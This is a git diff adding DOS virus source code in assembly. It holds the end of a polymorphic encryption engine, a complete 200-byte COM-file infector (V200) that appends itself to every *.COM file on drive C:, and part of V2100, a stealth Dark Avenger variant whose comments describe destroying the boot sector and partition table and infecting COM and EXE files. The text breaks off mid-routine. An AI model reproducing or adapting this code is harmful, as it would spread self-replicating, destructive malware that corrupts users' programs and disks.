call mov_reg ; Mov value into register + or ax,0ffc0h + (4 shl 3) ; JMP reg16 + call boolean ; PUSH/RET or JMP reg16? + jnz loop_code_push + xchg al,ah + jmp loop_code_stosw + +loop_code_push: mov bx,2 + call random_bx ; 1 in 3 chance of FF /6 PUSH + jnz loop_code_push1 + xor al,(6 shl 3) xor (4 shl 3) ; PUSH reg + xchg al,ah + stosw + jmp loop_code_ret + +loop_code_push1:xor al,50h xor (0c0h or (4 shl 3)) ; PUSH reg + stosb +loop_code_ret: call garble + mov al,0c3h ; RETN + stosb + jmp loop_code_end + +loop_code_jmp: mov al,0e9h + stosb ; Store Jump + lea ax,ds:[di-((file_start-2)-v_start)] + neg ax ; Jmp file_start +loop_code_stosw:stosw +loop_code_end: mov si,ds:encode_enc_ptr ; get encrypt instruction ptr + cmp di,offset header ; Decryptor is too large? + jb go_write_buff + stc ; return error + pushf + pop bp + retn + +go_write_buff: jmp write_buff ; encrypt/write/decrypt + + +;=====( Inc pointer )========================================================; + +make_incptr: mov ax,word ptr ds:ptr_reg ; get pointer registers + mov dx,2 ; ADD ptr,2 + cmp ah,-1 ; two registers used? + jz make_incptr_1 + call boolean ; do one or both? + jnz make_incptr_do1 + dec dx ; ADD ptr,1 + call make_incptr_do1 + jmp make_incptr_2 + +make_incptr_do1:call boolean + jnz make_incptr_1 +make_incptr_2: xchg al,ah +make_incptr_1: call add_reg + sub ds:disp,dx ; add to displacement + retn + +;=====( Dec counter )========================================================; + +make_deccount: cmp si,offset make_deccount ; last operation? + jnz make_deccount_notlast + call boolean ; do it? + jnz make_deccount_notlast + or bp,4800h ; remember we're last +make_deccount_notlast: + mov al,ds:count_reg + cmp al,_cx ; possible to use LOOP/LOOPNZ? + jnz make_deccount_notcx + call boolean + jnz make_deccount_notcx + or bp,2000h ; do LOOP + jmp make_deccount_exit + +make_deccount_notcx: + mov dx,-1 ; ADD counter,-1 + call add_reg +make_deccount_exit: + or bp,400h ; deccount executed + retn + +;=====( Make encryption instruction )========================================; + +make_enc: push bp + and bp,not 400h + mov al,ds:key_reg + push ax ; save key register +make_enc_which: mov ax,4 ; ADD/SUB/XOR/ROR/ROL + call random + mov bx,0105h ; ADD [DI],AX + mov cx,1119h ; ADC/SBB + mov dx,2905h ; SUB [DI],AX + jz make_enc_add + dec ax + jz make_enc_sub + dec ax + jnz make_enc_ror + mov bh,31h ; XOR + mov dx,3105h ; XOR [DI],AX + jmp make_enc_sto + +make_enc_ror: cmp ds:key_reg,_cx ; CX is key? + jne make_enc_which + or bp,400h ; Put XCHG CX,AX + mov bh,0d3h + mov dx,0d30dh ; ROL + dec ax + jz r_make_enc_sto + xchg bx,dx ; ROR +r_make_enc_sto: mov ds:key_reg,al ; 1 SHL 3 = 08 / D3 08 + ; D3 00 = ROL [],CL + jmp make_enc_sto + +make_enc_sub: xchg dh,bh ; SUB - ADD [DI],AX + xchg cl,ch ; SBB/ADC +make_enc_add: call boolean ; do Carry? + jnz make_enc_sto + push bx + mov bh,ch ; Make it ADC/SBB + call clear_carry + cmp al,0 + org $ - 1 +make_enc_sto: push bx + test bp,8000h ; EXE file? + jz make_enc_com + call is_bp_ptr ; is BP a pointer? + je make_enc_com + mov al,2eh ; CS: + call boolean + jnz make_enc_cs + mov al,36h ; SS: +make_enc_cs: stosb ; store segment override +make_enc_com: mov al,bh + stosb ; store instruction + mov ax,word ptr ds:ptr_reg ; get pointer registers + cmp ah,-1 ; second reg? + je make_enc_xlat + add al,ah +make_enc_xlat: mov bx,offset rm_tbl + xlat ; get r/m + call is_bp_ptr ; is BP a pointer? + jnz make_enc_nobp + inc ah ; is there a second reg? + jne make_enc_nobp + or al,01000000b ; [BP+xx] +make_enc_nobp: mov cx,ds:disp ; get displacement + mov bx,6 + call random_bx ; allow no displacement? + jz make_enc_get_disp + jcxz make_enc_sto_rm +make_enc_get_disp: + or al,01000000b ; 8bit displacement + call boolean ; allow 8bit displacement? + jnz make_enc_16bit + cmp cx,7fh ; 8bit displacement? + jbe make_enc_sto_rm + cmp cx,-80h + jb make_enc_16bit + xor ch,ch + cmp ax,0 + org $ - 2 +make_enc_16bit: xor al,11000000b ; 8bit off, 16bit on +make_enc_sto_rm:mov ah,ds:key_reg + shl ah,1 + shl ah,1 + shl ah,1 ; from bits 0-2 of AH + or al,ah ; to bits 3-5 of AL + stosb ; store r/m byte + test al,11000000b ; any displacement? + jz make_enc_disp + test al,10000000b ; 16bit displacement? + xchg cx,ax + stosw ; store displacement + jnz make_enc_disp + dec di ; 8bit only +make_enc_disp: xchg di,ds:encode_ptr ; get encode ptr + test bp,400h ; store XCHG CX,AX? + je make_enc_nor + mov al,91h ; XCHG CX,AX + stosb +make_enc_nor: xchg dx,ax + xchg al,ah + mov ds:encode_enc_ptr,di ; save instruction pointer + stosw ; set encryption instruction + je make_enc_nor1 + mov al,91h ; XCHG CX,AX + stosb +make_enc_nor1: xchg di,ds:encode_ptr ; restore decrypt ptr + pop ax + xchg al,ah + mov word ptr ds:write_buff[encode_flip-encode],ax + ; save opposite operation + pop ax + mov ds:key_reg,al ; restore key register + pop bp + retn + +rm_tbl: db -1,-1,-1,7,-1,6,4,5,-1,0,1,2,3 ; -1's not used + +;=====( Change key )=========================================================; + +make_keychange: call boolean ; change key? + jnz make_keychange_yes + retn + +make_keychange_yes: + push bp + or bp,200h ; let know that keychange + mov ax,3 + call random ; 1 in 4 chance of modify_reg + jnz keychange_other + call random_1 + xchg dx,ax ; Random value to modify key + ; reg by + mov al,ds:key_reg + call modify_reg ; XOR/ADD/OR +keychange_stoop:xchg di,ds:encode_ptr ; get ptr to encode + inc di ; CLC + mov al,ds:modify_op ; get operation + stosb +keychange_stodx:xchg dx,ax ; store value/operation +keychange_sto: stosw + xchg di,ds:encode_ptr ; get decrypt pointer + pop bp + retn + +keychange_other:mov al,4 ; ROR/ROL/NOT/NEG/ADD + call random + jnz keychange_rol + mov ax,0d1c0h ; ROR AX,1 +keychange_cl: mov bx,2 ; 1 in 3 chance of ,CL + call random_bx + jnz keychange_nocl + cmp ds:count_reg,_cx ; Count is CX? + jne keychange_nocl + test bp,400h ; Count already decremented? + jnz keychange_nocl + or ah,2 ; By CL +keychange_nocl: xchg al,ah + push ax + or ah,ds:key_reg ; set key register + stosw ; store instruction + pop ax + xchg di,ds:encode_ptr ; get encode ptr + jmp keychange_sto + +keychange_rol: dec ax + jnz keychange_not + mov ax,0d1c0h or (1 shl 3) ; ROL AX,1 + jmp keychange_cl + +keychange_not: dec ax + jnz keychange_neg + mov ax,0f7c0h + (2 shl 3) ; NOT AX + jmp keychange_nocl + +keychange_neg: dec ax + jnz keychange_add + mov ax,0f7c0h + (3 shl 3) ; NEG AX + jmp keychange_nocl + +keychange_add: call random_1 + xchg dx,ax + mov al,ds:key_reg ; get key register + call add_reg ; ADD reg(ax), value(dx) + jmp keychange_stoop + +;=====( Build key )==========================================================; + +make_key: call get_reg ; get register + xchg dx,ax + call random_1 ; get key + mov ds:key,ax ; save key + xchg dx,ax + mov ds:key_reg,al ; save register + call mov_reg ; MOV reg(ax),value(dx) + retn + +;=====( Build counter )======================================================; + +make_count: call get_reg ; get register + mov ds:count_reg,al ; save register + mov dx,(decrypt-v_start)/2 ; # of words to crypt + call mov_reg ; mov reg(ax),value(dx) + retn + +;=====( Build Pointer )======================================================; + +make_ptr: mov dx,ds:pointer + call get_ptr_reg ; get DI/SI/BP/BX + mov ds:ptr_reg,al + mov ds:ptr_reg1,-1 + mov bx,3 + call random_bx ; 1 in 4 chance of 2 regs + jnz make_ptr_2 + cmp al,_si + mov bx,11000000b ; DI/SI + jb make_ptr_test + mov bl,00101000b ; BP/BX +make_ptr_test: test bp,bx ; 'other' availible? + jz make_ptr_2 +make_ptr_again: call get_ptr_reg ; get DI/SI/BP/BX + push ax + call conv_num ; convert to bit-map number + test al,bl ; is it other type? + pop ax + jnz make_ptr_ok + call del_reg ; delete register + jmp make_ptr_again + +make_ptr_ok: mov ds:ptr_reg1,al ; save second register + mov bx,-1 + call random_bx + sub dx,bx ; randomize values + xchg bx,dx + call mov_reg ; mov reg(ax), value(dx) + xchg bx,dx + mov al,ds:ptr_reg ; get first reg +make_ptr_2: xor bx,bx ; zero displacement + call boolean ; use one? + jnz make_ptr_nodisp + mov bx,-1 + call random_bx + sub dx,bx ; subtract displacement +make_ptr_nodisp:mov ds:disp,bx ; save displacement + call mov_reg ; mov reg(ax), value(dx) + retn + +;=====( Shell for mov_reg1 )=================================================; + +mov_reg: push bx dx + mov bx,4 + call random_bx ; 1 in 5 chance of MOV/ADD/SUB + jnz mov_reg_call + mov bx,-1 + call random_bx ; get random # + sub dx,bx ; MOV reg, value-random # + call mov_reg1 ; do MOV reg, + mov dx,bx + call add_reg ; Now add difference + pop dx bx + retn + +mov_reg_call: pop dx bx + +;=====( Mov reg(ax), value(dx) )=============================================; + +mov_reg1: push ax bx cx dx + cbw + mov bx,2 + call random_bx ; MOV or SUB/XOR ADD/OR/XOR + jz mov_reg_other + mov bl,2 + call random_bx ; 1 in 3 chance of c6/c7 MOV + jnz mov_reg_b0 + or ax,0c7c0h ; MOV reg,imm + call boolean ; Do long MOV or LEA? + jnz mov_reg_c7 + mov cl,3 + shl al,cl ; Reg -> bits 3,4,5 + xor ax,(8d00h or 110b) xor 0c700h ; LEA reg,[imm] +mov_reg_c7: xchg al,ah + stosw ; store it +mov_reg_sto: xchg dx,ax + stosw ; store value + call garble +mov_reg_exit: jmp modify_pop + +mov_reg_b0: or al,0b8h ; MOV reg,imm + stosb + jmp mov_reg_sto + +mov_reg_other: push ax + mov cl,3 + mov ch,al + shl ch,cl ; copy reg1 to reg2 + or al,ch ; set it + call boolean + jnz mov_reg_other1 + or ah,2 ; reg1, reg2 -> reg2, reg1 +mov_reg_other1: call boolean + jnz mov_reg_xor + or ax,29c0h ; SUB reg, reg + call boolean + jnz mov_reg_other_sto + xor ah,19h xor 29h ; SBB reg, reg + call clear_carry ; clear carry flag +mov_reg_other_sto: + xchg al,ah + stosw + call garble + pop ax + call modify_reg ; ADD/OR/XOR reg(ax),value(dx) + jmp mov_reg_exit + +mov_reg_xor: or ax,31c0h ; XOR AX,AX + jmp mov_reg_other_sto + +;=====( ADD/OR/XOR reg(ax), value(dx) )======================================; + +modify_reg: push ax bx cx dx + cbw + mov bx,2 + call random_bx + mov cx,3500h + (6 shl 3) ; XOR + jz modify_reg_cont + mov cx,0d00h + (1 shl 3) ; OR + dec bx + jz modify_reg_cont +modify_reg_add: mov cx,0500h ; ADD + call boolean ; ADC or ADD? + jnz modify_reg_cont + mov cx,1500h + (2 shl 3) ; ADC +modify_reg_clc: call clear_carry ; Clear carry flag +modify_reg_cont:test bp,200h ; keychange executing? + jz modify_reg_nosave + mov ds:modify_op,ch ; save AX operation +modify_reg_nosave: + call boolean ; check if AX? + jnz modify_reg_noax + or al,al ; AX? + jnz modify_reg_noax + mov al,ch + stosb ; store instruction + xchg dx,ax +modify_sto: stosw ; store value +modify_exit: call garble +modify_pop: pop dx cx bx ax + retn + +modify_reg_noax:or ax,81c0h + or al,cl ; XOR/OR/ADD + call boolean ; sign extend? + jnz modify_reg_nosign + cmp dx,7fh ; possible to sign extend? + jbe modify_sign + cmp dx,-80h + jb modify_reg_nosign +modify_sign: or ah,2 ; sign extend +modify_reg_nosign: + xchg al,ah + stosw + test al,2 ; sign extended? + xchg dx,ax + je modify_sto + stosb + jmp modify_exit + +;=====( ADD reg(ax), value(dx) )=============================================; + +add_reg: push ax bx cx dx + cbw + mov cx,dx +add_loop: mov bx,3 + call random_bx ; 1 in 4 chance of ADD/SUB + jz add_noinc + mov bx,40c0h ; INC reg + test bp,200h ; keychange running? + jz add_nosave + mov ds:modify_op,05h ; ADD AX, +add_nosave: cmp cx,3h ; too high to INC? + jb add_inc + neg cx + cmp cx,3h ; too low to DEC? + ja add_noinc + mov bx,48c0h + (1 shl 3) ; DEC reg + test bp,200h + jz sub_nosave + mov ds:modify_op,2dh ; SUB AX, +sub_nosave: inc dx + inc cx + cmp ax,0 + org $ - 2 +add_inc: dec dx + dec cx + push ax + mov ax,5 + call random ; 1 in 6 chance of FF + pop ax + push ax + jnz add_inc_40 + mov ah,0ffh + xchg bl,bh + xchg al,ah ; AL=ff AH=Reg + stosb + xchg al,ah +add_inc_40: or al,bh ; set DEC/INC + stosb + pop ax + call garble + or dx,dx ; all done? + jnz add_loop +add_reg_exit: jmp modify_pop + +add_noinc: call boolean ; ADD or SUB? + jz sub_reg + jmp modify_reg_add + +sub_reg: test bp,200h ; keychange? + jnz sub_reg_key + neg dx +sub_reg_key: mov cx,2d00h + (5 shl 3) ; SUB + call boolean ; use SBB? + jz sbb_reg + jmp modify_reg_cont + +sbb_reg: mov cx,1d00h + (3 shl 3) ; SBB + jmp modify_reg_clc + +;=====( clear carry flag )===================================================; + +clear_carry: push ax bp + or bp,800h ; don't change flags + mov al,0f8h ; CLC + call boolean + jnz clear_carry_clc + mov ax,0f5f9h ; STC/CMC + stosb + call garble + xchg al,ah +clear_carry_clc:stosb + call garble + pop bp ax + retn + +garble: push ax + mov ax,2 + call random ; how many times to call? + xchg cx,ax + jcxz garble_exit +garble_loop: call garble1 + loop garble_loop +garble_exit: xchg cx,ax + pop ax + retn + +;=====( add garbage code )===================================================; + +garble1: push ax bx cx dx bp + test bp,100h ; Garble already executing? + jnz garble_ret + and bp,not 200h ; keychange not executing + or bp,100h ; Garble executing + call boolean + jnz garble_ret + mov cl,3 + call random_1 + xchg dx,ax ; DX=random number + call get_reg ; get register + jc garble_ret + mov bx,6 + test bp,800h ; flag change allowed? + jz garble_f + mov bl,2 +garble_f: call random_bx ; MOV/1BYTE/XCHG/MODIFY/ADD/MOV? + jnz garble_xchg + or ah,89h +garble_reg_set: call boolean ; reg1, reg2 or reg2, reg1? + jz garble_reg_reg + or ah,2 ; 8b + xchg al,dl +garble_reg_reg: and dl,7 ; Get register values only + and al,7 + shl dl,cl + or al,0c0h ; MOV reg1, random reg + or al,dl + xchg al,ah + stosw +garble_ret: pop bp + jmp modify_pop + +garble_xchg: dec bx + jnz garble_1byte + xchg dx,ax + call get_reg ; get another reg + jc garble_ret + xchg dx,ax ; AL=reg1 DL=reg2 + call boolean + jnz garble_xchgnoax + or dl,dl ; AX? + jz garble_xchgax + or al,al + jz garble_xchgax +garble_xchgnoax:or ah,87h ; XCHG reg1, + jmp garble_reg_reg + +garble_xchgax: or al,90h + or al,dl ; XCHG AX, reg +garble_stosb: stosb + jmp garble_ret + +garble_1byte: dec bx + jnz garble_modify + mov al,4 + call random + mov bx,offset garble_1byte_tbl + xlat ; get 1 byte instruction + jmp garble_stosb + +garble_modify: dec bx + jnz garble_add + call modify_reg ; ADD/XOR/OR reg1, random # + jmp garble_ret + +garble_add: dec bx + jnz garble_mov + call add_reg ; ADD/SUB reg1, random # + jmp garble_ret + +garble_mov: dec bx + jnz garble_op + call mov_reg ; MOV reg1, random # + jmp garble_ret + +garble_op: and dh,00111000b ; get rnd op + mov ah,1 + or ah,dh + jmp garble_reg_set + +garble_1byte_tbl: + db 2eh + db 36h + cld + std + sti + +;=====( Is BP a Pointer? )===================================================; + +is_bp_ptr: cmp ds:ptr_reg,_bp + je bp_is_ptr + cmp ds:ptr_reg1,_bp +bp_is_ptr: retn + +;=====( Get pointer register (DI/SI/BP/BX) )=================================; + +get_ptr_regnext:call del_reg ; restore register to pool + +get_ptr_reg: call get_reg ; get register + cmp al,_bx + je got_ptr_reg + cmp al,_bp + jb get_ptr_regnext +got_ptr_reg: retn + +;=====( return random register in AL )=======================================; + +get_reg: test bp,11101111b ; any registers free? + stc + jz get_reg_exit +get_reg_loop: mov ax,7 + call random + push ax + cbw + call conv_num ; convert to bit map + test bp,ax ; is register free? + pushf + not ax + and bp,ax ; mark register + popf + pop ax + jz get_reg_loop +get_reg_exit: retn + +;=====( Restore register to pool )===========================================; + +del_reg: push ax + cbw + call conv_num ; convert to bit number + or bp,ax ; restore register + pop ax + retn + +;=====( convert number to bit map )==========================================; + +conv_num: push cx + mov cl,al + mov al,1 + shl al,cl + pop cx + retn + +;=====( randomize order of BX/CX/DX/SI, then call )==========================; + +order: call garble + mov ax,2 + call random + xchg cx,ax + inc cx +order_loop: call boolean + jnz order1 + xchg bx,ax +order1: call boolean + jnz order2 + xchg dx,ax +order2: call boolean + jnz order3 + xchg si,ax +order3: loop order_loop + push si dx bx ax +order_ret: retn + +;=====( return random number between 0 and ffff in bx )======================; + +random_bx: xchg bx,ax + call random + xchg bx,ax + retn + +;=====( flip Sign bit )======================================================; + +boolean: push ax + mov ax,1 + call random + pop ax + retn + +;=====( return random number between 0 and ffff )============================; + +random_1: mov ax,-1 + +;=====( Generate random number between 0 and AX )============================; + +random: push ds bx cx dx ax + xor ax,ax + int 1ah + push cs + pop ds + in al,40h + xchg cx,ax + xchg dx,ax + mov bx,offset ran_num + xor ds:[bx],ax + rol word ptr ds:[bx],cl + xor cx,ds:[bx] + rol ax,cl + xor dx,ds:[bx] + ror dx,cl + xor ax,dx + imul dx + xor ax,dx + xor ds:[bx],ax + pop cx + xor dx,dx + inc cx + je random_ret + div cx + xchg ax,dx +random_ret: pop dx cx bx ds + or ax,ax + retn + +ran_num dw ? + +;=====( Encrypts the code/writes it/decrypts code )==========================; + +encode: mov bx,ds:handle + mov ax,0 +key = word ptr $ - 2 + mov cx,(decrypt-v_start)/2 + xor di,di +encode_break: clc + clc + clc + clc ; XCHG CX,AX XCHG CX,AX + clc + clc ; CLC ADD AX,xxxx / XOR [DI],AX + clc + clc ; XOR [DI],AX / CLC ADD AX,xxxx + inc di + inc di + loop encode_break +encode_ret = byte ptr $ + mov ah,40h + mov cx,file_size + cwd + pushf + call cs:int_21 + jc encode_flag + sub ax,cx +encode_flag: pushf + pop bp + mov word ptr ds:[si],0 +encode_flip = word ptr $ - 2 + mov byte ptr ds:write_buff[encode_ret-encode],0c3h + jmp encode +encode_end: + + +-- + +my faith my grief my fear my blood my trust my flesh my hate my love +no more no less no fear no need no height no depth too great godspeed +PGP 2.62 Fingerprint: 16 7B 2D 9B E9 51 48 C7 22 72 97 7A 6D E3 DE 57 :) + diff --git a/v/V200.ASM b/v/V200.ASM new file mode 100755 index 0000000..aa02bc2 --- /dev/null +++ b/v/V200.ASM @@ -0,0 +1,178 @@ +;------------------------------------------------------------------------------; +; ; +; V200 ; +; ; +; V200 , - ; +; ; +; COM - , , C: ; +; . ; +; V200 , ; +; ( 24h) ; +; . ; +; ; +;------------------------------------------------------------------------------; + + .model Tiny + .code + + +VirLen = 200 +NewId = offset Mark - 100h + +;-----------------------------------------------------------------------------; + + ORG 0D0h + +INT24 dw ? ; 24h. +INT24a db ? + +NewDTA db 15h dup (?) ; DTA. +FAttr db ? +FTime dw ? +FDate dw ? +FLen dw ?, ? +FName db 0Dh dup (?) + +;-----------------------------------------------------------------------------; + + ORG 100h + +Start: + push ax + + mov INT24,3B0h ; 24h : mov al,03 + mov INT24a,0CFh ; iret + + mov ax,2524h + mov dx,offset INT24 + int 21h ; 24h. + + mov ah,19h + int 21h ; . + push ax ; . + + + mov ah,0Eh + mov dl,02h + int 21h ; C: + + mov ax,cs + add ah,10h + mov es,ax ; ES = CS + 64KBytes + mov si,offset Start + xor di,di + mov cx,VirLen ; 64KBytes + rep movsb ; - . + + mov dx,offset NewDTA ; DTA . + mov ah,1Ah + int 21h + + +;...... . + + mov dx, offset AllCom ; '*.COM' . + mov cl,110B + mov ah,4Eh ; Find First. + int 21h + jc Done ; + ; . +FindNext: + + mov dx,offset Fname ; dx DTA. + mov ax,3D02h ; /. + int 21h + + mov bx,ax ; . + + push ds ; DS. + + push es + pop ds ; -DS:DX + mov dx,VirLen ; DS = CS + 64KBytes + mov cx,0FFFFh ; DX = + mov ah,3Fh ; , + int 21h ; . + + add ax,VirLen ; (AX) + mov si,ax ; SI. + + cmp Word ptr ds:[NewId+VirLen],'TS' ; ? + je Close + + xor cx,cx + xor dx,dx + mov ax,4200h ; + int 21h ; . + + mov cx,si + mov ah,40h ; DS:DX + int 21h ; + + + mov cx,cs:FTime + mov dx,cs:FDate + mov ax,5701h ; + int 21h ; DTA. + +Close: + pop ds ; DS. + + mov ah,3Eh ; . + int 21h + + mov ah,4Fh + int 21h ; Find Next, + jnc FindNext ; + ; . +Done: + mov dx,80h + mov ah,1Ah + int 21h ; DTA. + + pop dx + mov ah,0Eh + int 21h ; . + +;....... . + + mov si,offset TransF + mov cx,offset EndCode - offset Transf + xor di,di ; 64KBytes - + rep movsb ; , -. + + pop bx ; AX BX. + + push es + push cx + RETF ; ES:00 + +;....................................... + ; +Mark DB 'STSV' ; . +AllCom db '*.COM',0 ; +;.......................................; . + +TRansF: + push ds + pop es + + mov si,offset EndCode + mov di,offset Start + dec cx + sub cx,si ; + rep movsb ; 100h + ; . + push ds + mov ax,100h + push ax + + mov ax,bx ; AX. + + RETF ; + ; DS:100h. +;-----------------------------------------------------------------------------; +EndCode: + int 20h ; + +End Start + \ No newline at end of file diff --git a/v/V2100_.ASM b/v/V2100_.ASM new file mode 100755 index 0000000..7bc2119 --- /dev/null +++ b/v/V2100_.ASM @@ -0,0 +1,1295 @@ +;-------------------------------------------------------------- +; V2100.ASM +; +; Source von V2100.COM / noch ein Dark-Avenger-Virus +; +; Stealth +; Zerstrt BOOT+Partitionstabelle +; Infiziert COM+EXE +; Ldt sich in oberen Speicherbereich +; +;-------------------------------------------------------------- +code SEGMENT + ASSUME CS:code, DS:code + .RADIX 16 + SMART + ORG 100h +;-------------------------------------------------------------- +; Struktur des Disk-Parameter-Blocks +;-------------------------------------------------------------- +DPB Struc + drive db ? ; +0 + Subunit db ? ; +1 + SecSize dw ? ; +2 + SecPerCluster db ? ; +4 + ClusToSecShift db ? ; +5 + BootSize dw ? ; +6 + NumberOfFATs db ? ; +8 + RootDirNumber dw ? ; +9 + FstDataSector dw ? ; +0b + MaxCluster dw ? ; +0d + SecsPerFAT db ? ; +0f + RootSector dw ? ; +10 + Device dd ? ; +12 + MediaDescrpt db ? ; +16 + Accesflag db ? ; +17 + NextBlock dd ? ; +18 +DPB ends +;-------------------------------------------------------------- +start: JMP VirStart + ;----------------------------------------------------- + ; Die NOPS sind fr den TD unbedingt notwendig ! + ;----------------------------------------------------- + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP +;----------------------------------------------------- +FirstByte: DB 00h ; Ofs 0 + DB "Eddie lives" ; Ofs 1..0b + DB 00h ; Ofs 0c + DB 0DCh ; Ofs 0d + DB 14h ; Ofs 0e + DB 00h ; Ofs 0f + DB 00h ; Ofs 10 + ;=======( eingefgt )================================= +Infected DB 7,'INFECTED',0 +destroyed DB 7,'DESTROYED',0 +Down DB 7,'DOWN',0 + ;===================================================== +DisplayActivity: + PUSH AX + PUSH BX + PUSH SI + PUSH BX + MOV AH,0Eh ; TTY-Ausgabe + MOV BL,71h + MOV SI,Offset Destroyed-Offset Firstbyte + nextchar: + LODSB + or al,al + JZ FERTIG + INT 10H + JMP NextChar + fertig: + POP AX + POP BX + POP SI + RET + ;========================================== +;----------------------------------------------------- +PushAll:PUSH AX ; Offset 11h + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH DS + PUSH ES + MOV BX,SP + JMP Word Ptr SS:[BX+10h] ; == RET, Aber alle Register gesichert + ;----------------------------------------------------- + +JmpEXE: ADD SI,Offset IP_Init ;081Ah ;Offset 1Fh + MOV BX,ES + ADD BX,10h + +;--------------------------------------------------------------------- +;VirusStartOffset EQU Offset FirstByte +;SegmentOffset EQU Offset Exe_segment+Offset IP_Init +;OffsetOffset EQU Offset Exe_Offset -Offset IP_Init +;ErsteZahl EQU (-SegmentOffset + VirusStartOffset) +;ZweiteZahl EQU (-OffsetOffset + VirusStartOffset) +;------( der assembler mag nicht )------------------------------------ +;ADD BX,Word Ptr CS:[SI+02h] ; Relocate; +;MOV Word Ptr CS:[SI-ErsteZahl],BX ; +F831 +;MOV BX,Word Ptr CS:[SI] +;MOV Word Ptr CS:[SI-ZweiteZahl],BX ; +F82F +;===================================================================== + ADD BX,Word ptr CS:[SI+2] + MOV Word Ptr CS:[Offset Exe_Segment-Offset FirstByte],BX + MOV BX,Word ptr CS:[SI] + MOV Word Ptr CS:[Offset Exe_Offset-Offset FirstByte],BX +;====================================================================== + MOV BX,ES + ADD BX,10h + ADD BX,Word Ptr CS:[SI+04h] + MOV SS,BX + MOV SP,Word Ptr CS:[SI+06h] + ;----------------------------------------------------- + DB 0EAh +Exe_Offset DW ? ; Offset 161h +Exe_Segment DW ? ; JMP 0000:0000 ; JMP EXE-CODE + ;----------------------------------------------------- +VirStart: CALL J0045F ; Adresse 168h auf Stack +;------------------------------------------------------------- +InstallDevice: +INT 3 + RETF ; DAS wollen wir besser nicht zulassen !!!!!!!!!! + + DEC DI ; Offset 50h + DEC DI + PUSH CS + CALL FirstBIOSCall + INC DI + INC DI +FirstBIOSCall: + PUSH DS + PUSH Word Ptr DS:[DI+08h] + RETF + ;----------------------------------------------------- +ModifyFilesize_in_FCB: + CALL INT21 ; Offset 5Dh + TEST AL,AL + JNZ J001DA ; Keine passende Datei gefunden + PUSH AX + PUSH BX + PUSH SI + PUSH DI + PUSH DS + PUSH ES + MOV AH,51h ; Get current PSP + INT 21H + MOV ES,BX + CMP BX,Word Ptr ES:[0016h] ; PSP des COMMAND.COM ?? + JNZ J001D3 + MOV SI,DX + MOV AH,2Fh ; GET DTA + INT 21H ; ES:BX <- DTA + LODSB + INC AL + JNZ J0019D + ADD BX,+07h +J0019D: INC BX + MOV DI,0002h + JMP SHORT CheckFileForStealth + ;----------------------------------------------------- +StealthFilesize: + CALL INT21 ; Offset 8Bh + JB J001DA + PUSH AX + PUSH BX + PUSH SI + PUSH DI + PUSH DS + PUSH ES + MOV AH,2Fh ; Get DTA + INT 21H ; ES:BX <- DTA + XOR DI,DI +CheckFileForStealth: + PUSH ES + POP DS + MOV AX,Word Ptr DS:[BX+16h] ; Hole Filedatum + AND AL,1Fh ; Sekunde auf '62' gesetzt ? + CMP AL,1Fh + JNZ J001D3 ; nein, dann geben wir die + MOV AX,Word Ptr DS:[BX+DI+1Ah] ; echte Lnge zurck. + MOV SI,Word Ptr DS:[BX+DI+1Ch] ; sonst : ziehe 2100 ab.. + SUB AX,2100d ; =0834h + SBB SI,+00h + JB J001D3 + MOV Word Ptr DS:[BX+DI+1Ah],AX + MOV Word Ptr DS:[BX+DI+1Ch],SI +J001D3: POP ES + POP DS + POP DI + POP SI + POP BX + POP AX + CLC +J001DA: INC SP + INC SP + JMP @IRET + ;----------------------------------------------------- +J001DF: JMP ModifyFilesize_in_FCB ; Offset C7h + ;----------------------------------------------------- + ;===================================================== + ; vvvv--- Hier wird neuer Code hingebastelt -vvvv + ;----------------------------------------------------- +VirINT24:MOV AL,03h ; Offset C9h + IRET ; INT24h / Operation failed ! + ;----------------------------------------------------- +VirEXEC:CALL J006E0 ; Offset CCh + CALL Zerstoere + MOV BYTE PTR CS:[Offset Bontchev_Flag-Offset Firstbyte],01h + ; 877h +ToINT21h: + POPF +JmpToINT21H: + JMP DWord Ptr CS:[Offset INT21H-Offset FirstByte] + ;----------------------------------------------------- +VirInt27H: ; Offset DEh + CALL Virus_KEEP_Procedure + JMP DWord Ptr CS:[Offset INT27H-Offset FirstByte] + ;----------------------------------------------------- +KEEP: CALL Virus_KEEP_Procedure ; Offset E6h + JMP ToINT21h + ;----------------------------------------------------- +VirInt21h: + STI ; Offset 00EBh + PUSHF + CLD + CMP AH,11h ; FindFirst FCB + JZ J001DF + CMP AH,12h ; Findnext FCB + JZ J001DF + + CMP AH,4Eh ; Findfirst ASCIIZ + JZ StealthFilesize + CMP AH,4Fh ; FindNext ASCIIZ + JZ StealthFilesize + + CALL Suche_Bontchev + + CMP AX,2521h ; SET Int 21h + JZ VirSetInt21H + CMP AX,2527h ; Set Int 27H + JZ VirSetInt27H + + CMP AX,3521h ; GET Int 21H +;============================== +GET21LABEL EQU $-2 ; zeigt auf "3521" +JmpLABEL EQU $+1 ; zeigt auf "57", Sprungweite +;============================== + JZ VirGetInt21H + CMP AX,3527h ; GET INT 27H + JZ VirGetInt27H + + CMP AH,31h ; KEEP +KEEPLABEL: ; ofs 234h + JZ KEEP + CMP AX,4B00h ; EXEC + JZ VirEXEC + + CMP AH,3Ch ; Create File + JZ J0024A + CMP AH,3Eh ; close file + JZ CLOSEFile + CMP AH,5Bh ; Make New File + JNZ J002B0 + +J0024A: CMP WORD PTR CS:[Offset VirusEnde-Offset FirstByte],+00h ; CS:93Ch + JNZ J002CC ; + CALL CheckFile ; + JNZ J002CC ; NZ-> EXE oder COM + POPF + CALL INT21 + JB @IRET + CALL J003F8 +J00260: CLC +@IRET: RETF 0002h + ;----------------------------------------------------- +VirSetInt27H: + MOV Word Ptr CS:[Offset INT27H - Offset FirstByte],DX + MOV Word Ptr CS:[Offset INT27H + 2 - Offset FirstByte],DS + POPF + IRET + ;----------------------------------------------------- +VirSetInt21H: + MOV Word Ptr CS:[Offset INT21H - Offset FirstByte],DX + MOV Word Ptr CS:[Offset INT21H + 2 - Offset FirstByte],DS + POPF + IRET + ;----------------------------------------------------- +VirGetInt27H: + LES BX,DWord Ptr CS:[Offset INT27H - Offset FirstByte] + POPF + IRET + ;----------------------------------------------------- +VirGetInt21H: + LES BX,DWord Ptr CS:[Offset INT21H - Offset FirstByte] + POPF + IRET + ;----------------------------------------------------- +CLOSEFile: + CMP BX,Word Ptr CS:[Offset VirusEnde-Offset FirstByte] + JNZ J002CC + TEST BX,BX + JZ J002CC + POPF + CALL INT21 + JB @IRET + PUSH DS + PUSH CS + POP 